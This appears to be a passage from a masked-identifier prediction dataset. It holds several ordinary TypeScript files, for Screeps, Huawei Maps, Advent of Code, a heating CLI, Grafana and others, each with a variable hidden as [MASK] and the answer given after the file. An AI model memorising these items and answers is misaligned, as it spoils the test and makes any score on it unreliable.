    console.log(role + 's: ' +  [MASK] .length);
    if ( [MASK] .length < count) {
      let newName = role + Game.time;
      console.log('Spawning new ' + role + ': ' + newName);
      Game.spawns['Spawn1'].spawnCreep([WORK, CARRY, MOVE], newName, <SpawnOptions>{memory: {role: role}});
    }
  }

  EnsureMinimumCreeps(Role.Harvester, 2);
  EnsureMinimumCreeps(Role.Upgrader, 1);
  EnsureMinimumCreeps(Role.Builder, 1);

  for (const name in Game.creeps) {
    let creep = Game.creeps[name];
    if (creep.memory.role == Role.Harvester) {
      HarvestNearestSourceRole.run(creep);
    }
    if (creep.memory.role == Role.Upgrader) {
      UpgraderRole.run(creep);
    }
    if (creep.memory.role == Role.Upgrader) {
      BuilderRole.run(creep);
    }
  }
});
",numberOfCreepsWithRole
889,"/**
 * Copyright 2020 Huawei Technologies Co., Ltd.
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import { asyncExec, isString, isObject } from './utils';

// ////////////////////////////////////////////////////////////////////////////////////////////////
// State
// ////////////////////////////////////////////////////////////////////////////////////////////////

const mapViews = new Map<String, HuaweiMap>();

// ////////////////////////////////////////////////////////////////////////////////////////////////
// UTILS
// ////////////////////////////////////////////////////////////////////////////////////////////////

function handleDisplacement(event: any) {
    for (let [mapId, huaweiMap] of mapViews) {
        const mapRect = huaweiMap.element.getBoundingClientRect();

        if (huaweiMap.props.x === mapRect.x && huaweiMap.props.y === mapRect.y) {
            continue;
        }

        huaweiMap.props.x = mapRect.x;
        huaweiMap.props.y = mapRect.y;

        asyncExec('HMSMap', 'setMapViewProps', [mapId, huaweiMap.props]);
    }
};

// ////////////////////////////////////////////////////////////////////////////////////////////////
// Global watchers
// ////////////////////////////////////////////////////////////////////////////////////////////////

const mutationObserver = new MutationObserver(handleDisplacement);
mutationObserver.observe(document.body, { attributes: true, childList: true, subtree: true });
window.addEventListener('scroll', handleDisplacement, true);

// ////////////////////////////////////////////////////////////////////////////////////////////////
// CallableObj
// ////////////////////////////////////////////////////////////////////////////////////////////////

class CallableObj {
    mapId: string
    [key: string]: any

    constructor(mapId: string, obj: any) {
        this.mapId = mapId;

        // Extend this with all the keys of obj
        Object.keys(obj).forEach(key => {
            this[key] = obj[key];
        });

        // Expose all the functions
        if (this.__functions) {
            this.__functions.forEach((funcName: string) => {
                this[funcName] = (arg: any, arg2: any) => {
                    let fixedArg = arg;
                    if (funcName === 'set' && isString(arg)) {
                        fixedArg = { [arg]: arg2 }
                    }
                    return this.call(funcName, fixedArg);
                }
            });
        }

        return this;
    }

    call(funcName: string, arg?: any) {
        return asyncExec('HMSMap', 'dispatchFunction', [this.mapId, funcName, this, arg == null ? {} : arg]);
    };
}


async function dispatcher(mapId: string, promise: Promise<any>) {
    const result = await promise;
    if (!isObject(result) || !result.hasOwnProperty(""__objectType"")) {
        return result;
    }

    for (const key of Object.keys(result)) {
        result[key] = await dispatcher(mapId, result[key]);
    }
    return new CallableObj(mapId, result);
};

// ////////////////////////////////////////////////////////////////////////////////////////////////
// HuaweiMap
// ////////////////////////////////////////////////////////////////////////////////////////////////

class HuaweiMap {
    id: string;
    element: HTMLElement | null;
    props: HuaweiMapProps;

    init(id: string, options: HuaweiMapOptions) {
        this.id = id;
        this.element = document.getElementById(id);
        this.props = {} as HuaweiMapProps;
        this.props = this.refreshProps();

        const mutationObserver = new MutationObserver(this.handleMutation);
        mutationObserver.observe(this.element, { attributes: true });

        mapViews.set(id, this);
        return this.dispatch(asyncExec('HMSMap', 'initMap', [id, { mapOptions: options, mapProps: this.props }]));
    };

    reInitializeMap(){
        return this.dispatch(asyncExec('HMSMap', 'reInitializeMap', [this.id, this.refreshProps()]))
    }

    destroy(){
        return this.dispatch(asyncExec('HMSMap', 'destroyMap', [this.id]));
    }

    hide(){
        return this.dispatch(asyncExec('HMSMap', 'hideMap', [this.id]));
    }

    show(){
        return this.dispatch(asyncExec('HMSMap', 'showMap', [this.id]));
    }
    /**
     * Set a property of a map instance.
     *
     * This function can be called in two ways:
     * ```
     *     mapInstance.set('propName', propValue)
     * ```
     * or
     * ```
     *     mapInstance.set({propName: propValue, prop2Name: prop2Value})
     * ```
     */
    set(propName: string | object, value?: any): Promise<void> {
        const isPropStr = isString(propName)

        let propsObj;
        if (isPropStr) {
            propsObj = { [propName as string]: value };
        }

        return this.dispatch(asyncExec('HMSMap', 'setProps', [this.id, isPropStr ? propsObj : propName]));
    };


    /**
     * Get a property of a map instance.
     *
     * This function can be called in two ways:
     * ```
     *     mapInstance.get('propName')
     * ```
     * or
     * ```
     *     const properties = mapInstance.get(); // or mapInstance.get('all')
     *     properties.propName;
     * ```
     * The second example will return an object that contains all the properties of the given map
     * instance.
     */
    async get(propName?: string) {
        const props = await this.dispatch(asyncExec('HMSMap', 'getProps', [this.id]));

        if (typeof propName === 'undefined' || propName === 'all') {
            return props;
        }

        return props[propName];
    };

    /**
     * Register a map event.
     */
    on(eventName: MapEvent, handler: (data: any, data2?: any) => void) {
        const instanceEventName = `${eventName}-${this.id}`;
        window.unregisterHMSEvent(instanceEventName, null); // Remove old handler
        window.registerHMSEvent(instanceEventName, async (result, result2) => {
            if (result) {
                handler(await this.dispatch(result));
            }

            if (result2) {
                handler(await this.dispatch(result), await this.dispatch(result2));
            }
        });
        return this.dispatch(asyncExec('HMSMap', 'registerEvent', [this.id, eventName]));
    };

    // IONIC FRAMEWORK SCROLL EVENT
    scroll() {
        const mapRect = this.element.getBoundingClientRect();

        if (this.props.x === mapRect.x && this.props.y === mapRect.y)
            return;

        this.props.x = mapRect.x;
        this.props.y = mapRect.y;

        return asyncExec('HMSMap', 'setMapViewProps', [this.id, this.props]);
    }

    clear() {
        return this.dispatch(this.runAction('clear'));
    }

    resetMinMaxZoomPreference() {
        return this.dispatch(this.runAction('resetMinMaxZoomPreference'));
    }

    moveCamera(opts: CameraUpdate) {
        return this.dispatch(this.runAction('moveCamera', opts));
    }

    animateCamera(opts: CameraUpdate) {
        return this.dispatch(this.runAction('animateCamera', opts));
    }

    addPolyline(opts: PolylineOptions): Promise<Polyline> {
        return this.dispatch(this.runAction('addPolyline', opts));
    }

    addPolygon(opts: PolygonOptions): Promise<Polygon> {
        return this.dispatch(this.runAction('addPolygon', opts));
    }

    addMarker(opts: MarkerOptions): Promise<Marker> {
        return this.dispatch(this.runAction('addMarker', opts));
    }

    addGroundOverlay(opts: GroundOverlayOptions): Promise<GroundOverlay> {
        return this.dispatch(this.runAction('addGroundOverlay', opts));
    }

    addCircle(opts: CircleOptions): Promise<Circle> {
        return this.dispatch(this.runAction('addCircle', opts));
    }

    dispatch(obj: any) {
        return dispatcher(this.id, obj);
    };

    runAction( [MASK] : string, opts: any = null): Promise<any> {
        return asyncExec('HMSMap', 'runAction', [this.id,  [MASK] , opts])
    }

    private refreshProps() {

        const elemRect = this.element.getBoundingClientRect();
        const elemStyle = window.getComputedStyle(this.element, null);

        console.log(`ElemRect :: ${JSON.stringify(elemRect)}`);

        this.props.x = elemRect.x; // .x
        this.props.y = elemRect.y;  // .y
        this.props.width = elemRect.width;
        this.props.height = elemRect.height;
        this.props.paddingLeft = parseInt(elemStyle.getPropertyValue(""padding-left""));
        this.props.paddingTop = parseInt(elemStyle.getPropertyValue(""padding-top""));
        this.props.borderLeft = parseInt(elemStyle.getPropertyValue(""border-left-width""));
        this.props.borderTop = parseInt(elemStyle.getPropertyValue(""border-top-width""));

    
        return this.props;
    };

    private handleMutation(mutationRecords: any) {
        return asyncExec('HMSMap', 'setMapViewProps', [this.id, this.refreshProps()]);
    };
}


// ////////////////////////////////////////////////////////////////////////////////////////////////
// Type definitions for type checker
// ////////////////////////////////////////////////////////////////////////////////////////////////

export interface LatLng {
    lat: number,
    lng: number
};

export interface PatternItem {
    type?: PatternItemType,
    length?: number
};

export interface Anchor {
    u: number,
    v: number
};

export interface Bitmap {
    hue?: Hue,
    asset?: string,
    fileName?: string,
    path?: string
};

export interface LatLngBounds {
    southwest: LatLng,
    northeast: LatLng
    center?: LatLng,
};

// Possible combinations are:
// - width height latLng
// - width latLng
// - latLngBounds
// No way to check for this for now.
export interface GroundOverlayPosition {
    width?: number,
    height?: number,
    latLng?: LatLng,
    latLngBounds?: LatLngBounds
}

export interface Cap {
    type?: CapType,
    // If custom tap these parameters needed.
    refWidth?: number,
    bitmapDescriptor?: Bitmap
}

export interface CircleOptions {
    center?: LatLng,
    clickable?: boolean,
    fillColor?: Color,
    radius?: number,
    strokeColor?: Color,
    strokeWidth?: number,
    strokePattern?: PatternItem,
    visible?: boolean,
    zIndex?: number
}

// Ground overlay posiiton is different than the others.
export interface GroundOverlayOptions {
    anchor?: Anchor,
    bearing?: number,
    clickable?: boolean,
    image?: Bitmap,
    visible?: boolean,
    transparency?: number,
    zIndex?: number,
    position?: GroundOverlayPosition
}

export interface MarkerOptions {
    anchorMarker?: Anchor,
    infoWindowAnchor?: Anchor,
    alpha?: number,
    clusterable?: boolean,
    draggable?: boolean,
    icon?: Bitmap,
    flat?: boolean,
    position?: LatLng,
    rotation?: number,
    snippet?: string,
    title?: string,
    visible?: boolean,
    zIndex?: number
}

export interface PolygonOptions {
    points?: LatLng[],
    holes?: LatLng[][],
    clickable?: boolean,
    geodesic?: boolean,
    fillColor?: Color,
    strokeColor?: Color,
    strokeJointType?: JointType,
    strokePattern?: PatternItem,
    strokeWidth?: number,
    visible?: boolean,
    zIndex?: number
}

export interface PolylineOptions {
    points?: LatLng[],
    clickable?: boolean,
    color?: Color,
    endCap?: Cap,
    startCap?: Cap,
    geodesic?: boolean,
    jointType?: JointType,
    visible?: boolean,
    zIndex?: number,
    width?: number
}

interface HuaweiMapProps {
    x?: number;
    y?: number;
    width?: number;
    height?: number;
    paddingLeft?: number;
    paddingTop?: number;
    borderLeft?: number;
    borderTop?: number;
}


// Change this camera position field.
export interface HuaweiMapOptions {
    mapType?: MapType;
    zoomControlsEnabled?: boolean;
    compassEnabled?: boolean;
    zoomGesturesEnabled?: boolean;
    scrollGesturesEnabled?: boolean;
    rotateGesturesEnabled?: boolean;
    tiltGesturesEnabled?: boolean;
    zOrderOnTop?: boolean;
    liteMode?: boolean;
    ambientEnabled?: boolean;
    minZoomPreference?: number;
    maxZoomPreference?: number;
    cameraPosition?: CameraPosition;
    latLngBounds?: LatLngBounds
}

export interface CameraPosition {
    target?: LatLng;
    zoom?: number;
    bearing?: number;
    tilt?: number;
}

export interface LocationPermissionResult {
    hasLocationPermission: boolean;
}

export interface ComputeDistanceResult {
    result: number;
}

export interface ComputeDistance {
    from?: LatLng,
    to?: LatLng,
}

export interface CameraUpdate {
    method?: CameraUpdateMethod,
    [other: string]: any, // ... Other stuff depends on the method
}


interface BaseMapObject<T> {
    set(propName: string, propValue: any): Promise<any>;
    set(keyVals: any): Promise<any>;
    update(): Promise<T>;
    remove(): Promise<any>;

    [other: string]: any;
}

interface Polyline extends BaseMapObject<Polyline> {
}

interface Polygon extends BaseMapObject<Polygon> {
}

interface Circle extends BaseMapObject<Circle> {
}

interface GroundOverlay extends BaseMapObject<GroundOverlay> {
}

interface Marker extends BaseMapObject<Marker> {
    showInfoWindow(): Promise<void>;
    hideInfoWindow(): Promise<void>;
}

// ////////////////////////////////////////////////////////////////////////////////////////////////
// Public functions
// ////////////////////////////////////////////////////////////////////////////////////////////////


export function init(): Promise<void> {
    return asyncExec('HMSMap', 'init', []);
}

export function setApiKey(apiKey: string): Promise<void> {
    return asyncExec('HMSMap', 'setApiKey', [apiKey])
}

export async function create(divId: string, huaweiMapOptions: HuaweiMapOptions): Promise<HuaweiMap> {
    const huaweiMap = new HuaweiMap();
    await huaweiMap.init(divId, huaweiMapOptions);
    return huaweiMap;
}

export function computeDistanceBetween(arg: ComputeDistance): Promise<ComputeDistanceResult> {
    return asyncExec('HMSMap', 'executeStatic', ['computeDistanceBetween', arg]);
}

export function hasLocationPermission(): Promise<LocationPermissionResult> {
    return asyncExec('HMSMap', 'executeStatic', ['hasLocationPermission', {}]);
}

export function requestLocationPermission(): Promise<void> {
    return asyncExec('HMSMap', 'executeStatic', ['requestLocationPermission', {}])
}

function temp(element: HTMLElement): HuaweiMapProps{
    let props : HuaweiMapProps = {} as HuaweiMapProps; 
    const elemRect = element.getBoundingClientRect();
    const elemStyle = window.getComputedStyle(element, null);

    console.log(`ElemRect :: ${JSON.stringify(elemRect)}`);

    props.x = elemRect.x; // .x
    props.y = elemRect.y;  // .y
    props.width = elemRect.width;
    props.height = elemRect.height;
    props.paddingLeft = parseInt(elemStyle.getPropertyValue(""padding-left""));
    props.paddingTop = parseInt(elemStyle.getPropertyValue(""padding-top""));
    props.borderLeft = parseInt(elemStyle.getPropertyValue(""border-left-width""));
    props.borderTop = parseInt(elemStyle.getPropertyValue(""border-top-width""));


    return props;
}

export async function loadMap(jsonMap: string): Promise<HuaweiMap>{
    const parsedMap = JSON.parse(jsonMap);
    const map: HuaweiMap = new HuaweiMap();
    const elem = document.getElementById(parsedMap.id);

    map.element = elem;
    map.props = temp(map.element);
    map.id = parsedMap.id;

    await asyncExec('HMSMap', 'setMapViewProps', [map.id, map.props]);
    const mutationObserver = new MutationObserver(map.scroll);
    mutationObserver.observe(map.element, { attributes: true });

    mapViews.set(map.id, map);
    
    return map;
}


// ////////////////////////////////////////////////////////////////////////////////////////////////
// CONSTANTS
// ////////////////////////////////////////////////////////////////////////////////////////////////

export enum PatternItemType {
    TYPE_GAP = 2,
    TYPE_DOT = 1,
    TYPE_DASH = 0
}

export enum JointType {
    ROUND = 2,
    BEVEL = 1,
    DEFAULT = 0
}

export enum CapType {
    TYPE_BUTT_CAP = 0,
    TYPE_SQUARE_CAP = 1,
    TYPE_ROUND_CAP = 2,
    TYPE_CUSTOM_CAP = 3
}

export enum CameraMoveReason {
    REASON_DEVELOPER_ANIMATION = 3,
    REASON_API_ANIMATION = 2,
    REASON_GESTURE = 1
}

export enum Color {
    RED = -65536,
    DKGRAY = -12303292,
    GRAY = -7829368,
    WHITE = -1,
    BLUE = -16776961,
    BLACK = -16777216,
    LTGRAY = -3355444,
    MAGENTA = -65281,
    YELLOW = -256,
    CYAN = -16711681,
    GREEN = -16711936,
    TRANSPARENT = 0
}

export enum MapType {
    MAP_TYPE_NONE = 0,
    MAP_TYPE_SATELLITE = 2,
    MAP_TYPE_NORMAL = 1,
    MAP_TYPE_HYBRID = 4,
    MAP_TYPE_TERRAIN = 3,
}

export enum MarkerEvent {
    MARKER_DRAG = 2,
    MARKER_DRAG_END = 3,
    MARKER_DRAG_START = 1
}

export enum Hue {
    HUE_GREEN = 120,
    HUE_AZURE = 210,
    HUE_ROSE = 330,
    HUE_CYAN = 180,
    HUE_ORANGE = 30,
    HUE_MAGENTA = 300,
    HUE_VIOLET = 270,
    HUE_YELLOW = 60,
    HUE_BLUE = 240,
    HUE_RED = 0,

}

export enum MapEvent {
    CIRCLE_CLICK = ""circleClick"",
    MAP_CLICK = ""mapClick"",
    MAP_LONG_CLICK = ""mapLongClick"",
    INFO_WINDOW_CLICK = ""infoWindowClick"",
    CAMERA_MOVE_STARTED = ""cameraMoveStarted"",
    POLYGON_CLICK = ""polygonClick"",
    POLYLINE_CLICK = ""polylineClick"",
    GROUND_OVERLAY_CLICK = ""groundOverlayClick"",
    CAMERA_MOVE = ""cameraMove"",
    CAMERA_IDLE = ""cameraIdle"",
    MAP_LOADED = ""mapLoaded"",
    MARKER_CLICK = ""markerClick"",
    MY_LOCATION_BUTTON_CLICK = ""myLocationButtonClick"",
    MY_LOCATION_CLICK = ""myLocationClick"",
    MARKER_DRAG = ""markerDrag""
}

export enum CameraUpdateMethod {
    CAMERA_POSITION = ""newCameraPosition"",
    LATLNG = ""newLatLng"",
    LATLNG_BOUNDS = ""newLatLngBounds"",
    LATLNG_ZOOM = ""newLatLngZoom"",
    SCROLL_BY = ""scrollBy"",
    ZOOM_BY = ""zoomBy"",
    ZOOM_IN = ""zoomIn"",
    ZOOM_OUT = ""zoomOut"",
    ZOOM_TO = ""zoomTo""
}
",act
890,"import { readFileSync } from ""fs"";

function getInput() {
    const input = readFileSync(""./src/inputs/day02.txt"", ""utf8"");
    return input.split(""\n"").filter(line => line.length > 0);
}

type Counts = { [key: string]: number }

export function part1() {
    const input = getInput();
    let twoLetter = 0;
    let threeLetter = 0;
    input.map(line => {
        let counts: Counts = {};
        line.split("""").map(char => {
            if (counts[char] === undefined) {
                counts[char] = 1;
            } else {
                counts[char] += 1;
            }
        });
        let  [MASK]  = false;
        let hasThree = false;
        for (let char in counts) {
            if (counts[char] == 3) {
                hasThree = true;
            }
            if (counts[char] == 2) {
                 [MASK]  = true;
            }
        }
        if (hasThree) {
            threeLetter += 1;
        }
        if ( [MASK] ) {
            twoLetter += 1;
        }
    });
    console.log(twoLetter, threeLetter);
    return twoLetter * threeLetter;
}

export function part2() {
    const input = getInput();
    for (let i = 0; i < input.length; i++) {
        for (let j = i + 1; j < input.length; j++) {
            let original = input[i].split("""");
            let compared = input[j].split("""");
            let difference = [];
            for (let c = 0; c < original.length; c++) {
                if (original[c] === compared[c]) {
                    difference.push(original[c]);
                }
            }
            if (difference.length === original.length - 1) {
                return difference.join("""");
            }
        }
    }
    
}",hasTwo
891,"/* eslint-disable no-console */
import { table } from 'table';
import chalk from 'chalk';
import { program } from 'commander';
import { Room, WiserClient } from '../src';
import { BatteryLevel } from '../src/api/BatteryLevel';

program
  .version('0.0.1')
  .requiredOption('-s, --secret <secret>', 'Wiser system secret')
  .option('-a, --address <address>', 'IP or address of Wiser system');

program
  .command('status')
  .description('Fetch the system status')
  .action(systemStatus);

program
  .command('devices')
  .description('List all devices in the system')
  .action(listDevices);

program
  .command('device <id>')
  .description('Show status of a device')
  .action(deviceStatus);

program
  .command('rooms')
  .description('List status of all rooms')
  .action(listRooms);

program
  .command('room <id>')
  .description('Show status of a room')
  .action(roomStatus);

program
  .command('override-room <roomId> <temp>')
  .description('Override the set point of a room')
  .action(overrideRoom);

program
  .command('cancel-override <roomId>')
  .description('Cancel an override set on a room')
  .action(cancelRoomOverride);

program
  .command('disable-room <roomId>')
  .description('Turn off radiators in a room')
  .action(disableRoom);

program
  .command('away <on|off>')
  .description('Enable or disable away mode')
  .action(setAwayMode);

program
  .command('boost-all')
  .description('Boost all rooms')
  .action(boostAllRooms);

program
  .command('cancel-all-overrides')
  .description('Cancel all manual overrides and boosts')
  .action(cancelAllOverrides);

program.parse(process.argv);

function createClient(): WiserClient {
  if (program.address) {
    return WiserClient.clientWithAddress(program.secret, program.address);
  }

  return WiserClient.clientWithDiscovery(program.secret);
}

function systemStatus(): void {
  const client = createClient();

  client.systemStatus().then((status) => {
    console.log(status);
  });
}

function listDevices(): void {
  const client = createClient();

  client
    .listDevices()
    .then((devices) => {
      const data = [
        [
          chalk.bold('ID'),
          chalk.bold('Type'),
          chalk.bold('Serial'),
          chalk.bold('Battery'),
          chalk.bold('Locked?'),
        ],
      ];

      devices.forEach((device) => {
        let battery = '';

        switch (device.batteryLevel) {
          case BatteryLevel.Normal:
            battery = chalk.green('Normal');
            break;

          case BatteryLevel.TwoThirds:
            battery = chalk.green('Two-Thirds');
            break;

          case BatteryLevel.OneThird:
            battery = chalk.yellow('One-Thirds');
            break;

          case BatteryLevel.Low:
            battery = chalk.red('Low');
        }

        data.push([
          device.id.toString(),
          device.productType,
          device.serialNumber ? device.serialNumber : '',
          battery,
          device.deviceLocked ? '✔' : '',
        ]);
      });

      console.log(table(data));
    })
    .catch(handleError);
}

function deviceStatus(id: number): void {
  const client = createClient();

  client
    .deviceStatus(id)
    .then((device) => {
      console.log('device status', device);
    })
    .catch(handleError);
}

function listRooms(): void {
  const client = createClient();

  client
    .roomStatuses()
    .then((statuses) => {
      printRoomStatuses(statuses);
    })
    .catch(handleError);
}

function roomStatus(id: number): void {
  const client = createClient();

  client
    .roomStatus(id)
    .then((status) => console.log('room status', status))
    .catch(handleError);
}

function overrideRoom(roomId: number, temp: number): void {
  const client = createClient();
  client
    .overrideRoomSetPoint(roomId, temp)
    .then((status) => console.log('updated status', status));
}

function cancelRoomOverride(roomId: number): void {
  const client = createClient();
  client
    .cancelRoomOverride(roomId)
    .then((status) => console.log('updated status', status));
}

function disableRoom(roomId: number): void {
  const client = createClient();
  client
    .disableRoom(roomId)
    .then((status) => console.log('updated status', status));
}

function setAwayMode(opt: string): void {
  const client = createClient();

  if (opt === 'on') {
    client.enableAwayMode().then((status) => {
      console.log('Enabled away mode');
      printRoomStatuses(status.rooms);
    });
  } else if (opt === 'off') {
    client.disableAwayMode().then((status) => {
      console.log('Disabled away mode');
      printRoomStatuses(status.rooms);
    });
  } else {
    program.help();
  }
}

function boostAllRooms(): void {
  const client = createClient();

  client.boostAllRooms().then((status) => {
    console.log('Boosted all rooms');
    printRoomStatuses(status.rooms);
  });
}

function cancelAllOverrides(): void {
  const client = createClient();

  client.cancelAllOverrides().then((status) => {
    console.log('Cancelled all overrides');
    printRoomStatuses(status.rooms);
  });
}

function handleError(error: Error) {
  if (error.message === 'system-not-found') {
    console.error('Could not find system');
  } else {
    console.error('Failed to connect to system', error);
  }
}

function printRoomStatuses(rooms: Room[]): void {
  const data = [
    [
      chalk.bold('ID'),
      chalk.bold('Name'),
      chalk.bold('Temp'),
      chalk.bold('Set Point'),
    ],
  ];

  rooms.forEach((room) => {
    let  [MASK]  = '';

    if (room.setTemperature) {
      if (room.active) {
         [MASK]  = chalk.red(room.setTemperature.toString());
      } else {
         [MASK]  = chalk.blue(room.setTemperature.toString());
      }
    }

    data.push([
      room.id.toString(),
      room.name,
      room.temperature ? room.temperature.toString() : '',
       [MASK] ,
    ]);
  });

  console.log(table(data));
}
",setpoint
892,"import * as Flex from ""@twilio/flex-ui"";
import { UIAttributes } from ""../../../../types/manager/ServiceConfiguration"";
import { reservationAcceptedAction } from ""../../helpers/windowStateActions"";

export interface EventPayload {
  task: Flex.ITask;
  sid: string;
}

export const writeAcceptTime = async (
  flex: typeof Flex,
  manager: Flex.Manager
) => {
  const { custom_data } = manager.serviceConfiguration
    .ui_attributes as UIAttributes;
  const { enabled } = custom_data.features.focus_time_chat_metrics_v2;

  if (!enabled) return;

  Flex.Actions.addListener(""afterAcceptTask"", async (payload: EventPayload) => {
    const  [MASK]  = payload.task.taskChannelUniqueName;
    const additional_features_channels =
      custom_data.features.focus_time_chat_metrics_v2
        .additional_features_channels;

    if (additional_features_channels.includes( [MASK] )) {
      const currentTaskSid = payload.sid;
      reservationAcceptedAction(currentTaskSid);
    }
  });
};
",channelName
893,"import { defineUserConfig, defaultTheme, SidebarItem } from 'vuepress';
import { globSync } from 'glob';
import path from 'path';
import { searchPlugin } from '@vuepress/plugin-search'
import { prismjsPlugin } from '@vuepress/plugin-prismjs'


let pluginsSidebarItems: SidebarItem[] = globSync(`${__dirname}/../documentation/parsing_tool/plugins/*`).map((dir) => {
  const pluginTypeName = path.basename(dir);
  return {
    text: pluginTypeName.charAt(0).toUpperCase() + pluginTypeName.slice(1, -1) + ' plugins',
    collapsible: true,
    link: `/documentation/parsing_tool/plugins/${pluginTypeName}/`,
    children: globSync(`${dir}/*`).sort().map((pluginFile) => {
      const  [MASK]  = path.parse(pluginFile).name;
      return `/documentation/parsing_tool/plugins/${pluginTypeName}/${ [MASK] }`
    }).filter((plugin) => !plugin.endsWith('index')),
  };
});

const inputs = pluginsSidebarItems.find((type) => type.link === '/documentation/parsing_tool/plugins/inputs/')!;
pluginsSidebarItems = pluginsSidebarItems.filter((type) => type.link !== '/documentation/parsing_tool/plugins/inputs/');
pluginsSidebarItems.unshift(inputs);


export default defineUserConfig({
  lang: 'en-US',
  title: '',
  description: 'Just playing around',
  plugins: [
    searchPlugin({
      // options
    }),
    prismjsPlugin({
      // options
    }),
  ],
  theme: defaultTheme({
    logo: '/images/logo_dataqube.png',
    logoDark: '/images/logo_dataqube_dark.png',
    colorMode: 'light',
    navbar: [
      {
        text: 'Home',
        link: '/',
      },
      {
        text: 'Documentation',
        link: '/documentation/getting_started',
      },
    ],
    sidebar: {
      '/documentation/': [{
        text: 'Documentation',
        link: '/documentation/getting_started',
        collapsible: false,
        children: [
          {
            text: 'Getting started',
            link: '/documentation/getting_started',
          },
          {
            text: 'Parsing tool',
            collapsible: true,
            children: [
              {
                text: 'Configuration',
                link: '/documentation/parsing_tool/configuration',
              },
              ...pluginsSidebarItems,
            ]
          },
          {
            text: 'Dataqube App',
          }
        ],
      }]
    },
  }),
})",pluginName
894,"import defaults from 'lodash/defaults';
import demoData from './data/delivery_data.json'

import {
  DataQueryRequest,
  DataQueryResponse,
  DataSourceApi,
  DataSourceInstanceSettings,
  MutableDataFrame,
  FieldType,
} from '@grafana/data';

import { MyQuery, MyDataSourceOptions, defaultQuery } from './types';

export class DataSource extends DataSourceApi<MyQuery, MyDataSourceOptions> {
  constructor(instanceSettings: DataSourceInstanceSettings<MyDataSourceOptions>) {
    super(instanceSettings);
  }

  async query(options: DataQueryRequest<MyQuery>): Promise<DataQueryResponse> {
    // Return a constant for each query.
    const data = options.targets.map(target => {
      const query = defaults(target, defaultQuery);
      let  [MASK]  = demoData.filter( (data) => {
        return new Date(data.timestamp) >= query.dateFrom && new Date(data.timestamp) <= query.dateTo
      })
      let times: number[] = new Array(0)

       [MASK] .forEach( (data) => {
        times.push(new Date(data.timestamp).getTime())
      })
      return new MutableDataFrame({
        refId: query.refId,
        fields: [
          { name: 'Time', values: times, type: FieldType.time },
          { name: 'Value', values:  [MASK] , type: FieldType.other },
        ],
      });
    });

    return { data };
  }

  async testDatasource() {
    // Implement a health check for your data source.
    return {
      status: 'success',
      message: 'Success',
    };
  }
}
",filteredData
895,"import {
  GitHubReleasesService,
  Octokit,
  AppInfo,
  ReposListReleasesParameters,
  DownloadInfo,
  GitHubDownloadMeta
} from '@jbrunton/gha-installer'
import {
  ActionsCore,
  Environment,
  FileSystem
} from '@jbrunton/gha-installer/lib/interfaces'
import * as crypto from 'crypto'
import * as path from 'path'
import * as fs from 'fs'
import * as core from '@actions/core'

export class K14sReleasesService extends GitHubReleasesService {
  private _fs: FileSystem

  constructor(
    core: ActionsCore,
     [MASK] : Environment,
    fs: FileSystem,
    octokit: Octokit
  ) {
    super(core,  [MASK] , octokit, {repo: getRepo, assetName: getAssetName})
    this._fs = fs
  }

  onFileDownloaded(
    path: string,
    info: DownloadInfo<GitHubDownloadMeta>,
    core: ActionsCore
  ): void {
    this.verifyChecksum(path, info, core)
  }

  private verifyChecksum(
    downloadPath: string,
    info: DownloadInfo<GitHubDownloadMeta>,
    core: ActionsCore
  ) {
    const digest = this.computeDigest(downloadPath)
    const assetName = path.basename(info.url)
    const expectedChecksum = `${digest}  ./${assetName}`
    const releaseNotes = info.meta.release.body
    if (releaseNotes.includes(expectedChecksum)) {
      core.info(`✅  Verified checksum: ""${expectedChecksum}""`)
    } else {
      throw new Error(
        `Unable to verify checksum for ${assetName}. Expected to find ""${expectedChecksum}"" in release notes.`
      )
    }
  }

  private computeDigest(downloadPath: string): string {
    const data = this._fs.readFileSync(downloadPath)
    const digest = crypto.createHash('sha256').update(data).digest('hex')
    return digest
  }

  static create(octokit: Octokit): K14sReleasesService {
    return new K14sReleasesService(core, process, fs, octokit)
  }
}

export function getRepo(app: AppInfo): ReposListReleasesParameters {
  return {owner: 'k14s', repo: app.name}
}

export function getAssetName(platform: string, app: AppInfo): string {
  return `${app.name}-${getAssetSuffix(platform)}`
}

function getAssetSuffix(platform: string): string {
  switch (platform) {
    case 'win32':
      return 'windows-amd64.exe'
    case 'darwin':
      return 'darwin-amd64'
    default:
      return 'linux-amd64'
  }
}
",env
896,"/**
 * Serviço da Calculadora
 * @author <NAME>
 * @github https://github.com/PauloHenriqueJr
 * @since v1.0.0
 */

import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root'
})
export class CalculadoraService {

  //definindo as const utilizadas, para identificar as operações de calculo

  static readonly SOMA: string = '+';
  static readonly SUBTRACAO: string = '-';
  static readonly MULTIPLICACAO: string = '*';
  static readonly DIVISAO: string = '/';

  constructor() { }

  /**
   * Método que calcula operações matemáticas básicas
   * @param num1 number
   * @param num2 number
   * @param operacao string Operação a ser calculada
   * @return number Resultado da operação
   */

   calcular(num1: number, num2: number, operacao: string): number {
    let  [MASK] : number;

    switch (operacao) {
      case CalculadoraService.SOMA:
         [MASK]  = num1 + num2;
        break;
      case CalculadoraService.SUBTRACAO:
         [MASK]  = num1 - num2;
        break;
        case CalculadoraService.DIVISAO:
         [MASK]  = num1 / num2;
        break;
      case CalculadoraService.MULTIPLICACAO:
         [MASK]  = num1 * num2;
        break;
      default:
         [MASK]  = 0;
    }

    return  [MASK] ;
  }
}


",resultado
897,"import {
  ChangeDetectionStrategy,
  ChangeDetectorRef,
  Component,
  ElementRef,
  OnChanges,
  OnInit,
  Optional,
  QueryList,
  Renderer2,
  SimpleChanges,
  ViewChild,
  ViewChildren,
  inject,
} from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import {
  CurrentProductService,
  ICON_TYPE,
  ProductListItemContext,
} from '@spartacus/storefront';
import {
  Observable,
  distinctUntilChanged,
  filter,
  finalize,
  map,
  take,
  tap,
} from 'rxjs';
import { CxaiAskProductService } from '../../cxai-ask-product.service';
import {
  AskProductChatMessage,
  AskProductSource,
} from '@cx-spartacus/cxai-ask-product/root';
import { LoggerService } from '@spartacus/core';
